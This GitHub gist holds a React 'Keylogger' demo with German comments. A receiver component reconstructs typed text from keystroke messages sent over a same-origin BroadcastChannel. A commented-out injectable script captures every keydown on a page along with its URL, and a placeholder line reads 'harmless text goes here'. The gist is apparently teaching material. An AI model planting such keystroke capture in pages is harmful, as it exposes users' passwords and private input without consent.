Skip to content

Instantly share code, notes, and snippets.

@tomschall
Created December 1, 2025 10:07
Show Gist options
  • Select an option

  • Save tomschall/1c46d153f61ded2d215ea0e06a0edea7 to your computer and use it in GitHub Desktop.

Select an option

Save tomschall/1c46d153f61ded2d215ea0e06a0edea7 to your computer and use it in GitHub Desktop.
import React, { useEffect, useState } from 'react';
type KeyMessage = {
type: 'key';
key: string;
code: string;
ts: number;
url?: string;
};
const KeyboardReceiver: React.FC = () => {
const [supported, setSupported] = useState(true);
const [log, setLog] = useState<string[]>([]);
const [typedText, setTypedText] = useState<string>('');
useEffect(() => {
if (typeof BroadcastChannel === 'undefined') {
setSupported(false);
return;
}
const channel = new BroadcastChannel('keyboard-demo');
const handleMessage = (event: MessageEvent) => {
const data = event.data as Partial<KeyMessage>;
if (data.type !== 'key' || !data.key) {
return;
}
const time = new Date(data.ts ?? Date.now()).toLocaleTimeString();
const from = data.url ? ` (${data.url})` : '';
const line = `[${time}] key="${data.key}", code="${data.code}"${from}`;
// Detail-Log (technisch)
setLog((prev) => [...prev, line]);
// Lesbarer Tippstrom
setTypedText((prev) => {
const key = data.key as string;
// Normale sichtbare Zeichen (z.B. "a", "b", "1", "#", ...)
if (key.length === 1) {
return prev + key;
}
// Space
if (key === ' ' || key === 'Spacebar' || key === 'Space') {
return prev + ' ';
}
// Enter / Return -> neue Zeile
if (key === 'Enter') {
return prev + '\n';
}
// Backspace -> letztes Zeichen löschen
if (key === 'Backspace') {
return prev.slice(0, -1);
}
// Alles andere (Shift, Ctrl, ArrowLeft, F1, ...) ignorieren im Text,
// aber im Log bleiben sie sichtbar.
return prev;
});
};
channel.addEventListener('message', handleMessage);
return () => {
channel.removeEventListener('message', handleMessage);
channel.close();
};
}, []);
const clearLog = () => setLog([]);
const clearText = () => setTypedText('');
if (!supported) {
return (
<div style={{ padding: '1rem', fontFamily: 'system-ui, sans-serif' }}>
<h2>BroadcastChannel nicht unterstützt</h2>
<p>Probiere einen aktuellen Chrome, Edge oder Firefox.</p>
</div>
);
}
return (
<div
style={{
fontFamily: 'system-ui, sans-serif',
padding: '1rem',
maxWidth: 800,
margin: '0 auto',
}}
>
<p style={{ marginTop: '5rem' }}> </p>
<h1>Keylogger</h1>
<section style={{ marginTop: '1.5rem' }}>
<pre
style={{
marginTop: '0.5rem',
minHeight: 220,
maxHeight: 200,
overflow: 'auto',
padding: '0.75rem',
background: '#111',
color: '#0f0',
borderRadius: 8,
fontSize: 22,
whiteSpace: 'pre-wrap',
}}
>
{typedText || '(noch nichts empfangen)'}
</pre>
<button
type="button"
onClick={clearText}
style={{
padding: '0.3rem 0.8rem',
borderRadius: 6,
border: '1px solid #ccc',
background: '#f5f5f5',
cursor: 'pointer',
fontSize: 13,
}}
>
Text löschen
</button>
</section>
<section style={{ marginTop: '1.5rem' }}>
<pre
style={{
marginTop: '0.5rem',
minHeight: 200,
maxHeight: 260,
overflow: 'auto',
padding: '0.75rem',
background: '#111',
color: '#0f0',
borderRadius: 8,
fontSize: 22,
}}
>
{log.length === 0 ? '(noch keine Events empfangen)' : log.join('\n')}
</pre>
<button
type="button"
onClick={clearLog}
style={{
padding: '0.3rem 0.8rem',
borderRadius: 6,
border: '1px solid #ccc',
background: '#f5f5f5',
cursor: 'pointer',
fontSize: 13,
}}
>
Log leeren
</button>
</section>
</div>
);
};
export default KeyboardReceiver;
/*
<script>
(function () {
if (typeof BroadcastChannel === "undefined") {
console.warn("BroadcastChannel wird in diesem Browser nicht unterstützt.");
return;
}
const channel = new BroadcastChannel("keyboard-demo");
document.addEventListener("keydown", (event) => {
channel.postMessage({
type: "key",
key: event.key,
code: event.code,
ts: Date.now(),
url: window.location.href,
});
});
})();
</script>
Hier kommt ein harmloser Text hin.
*/
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment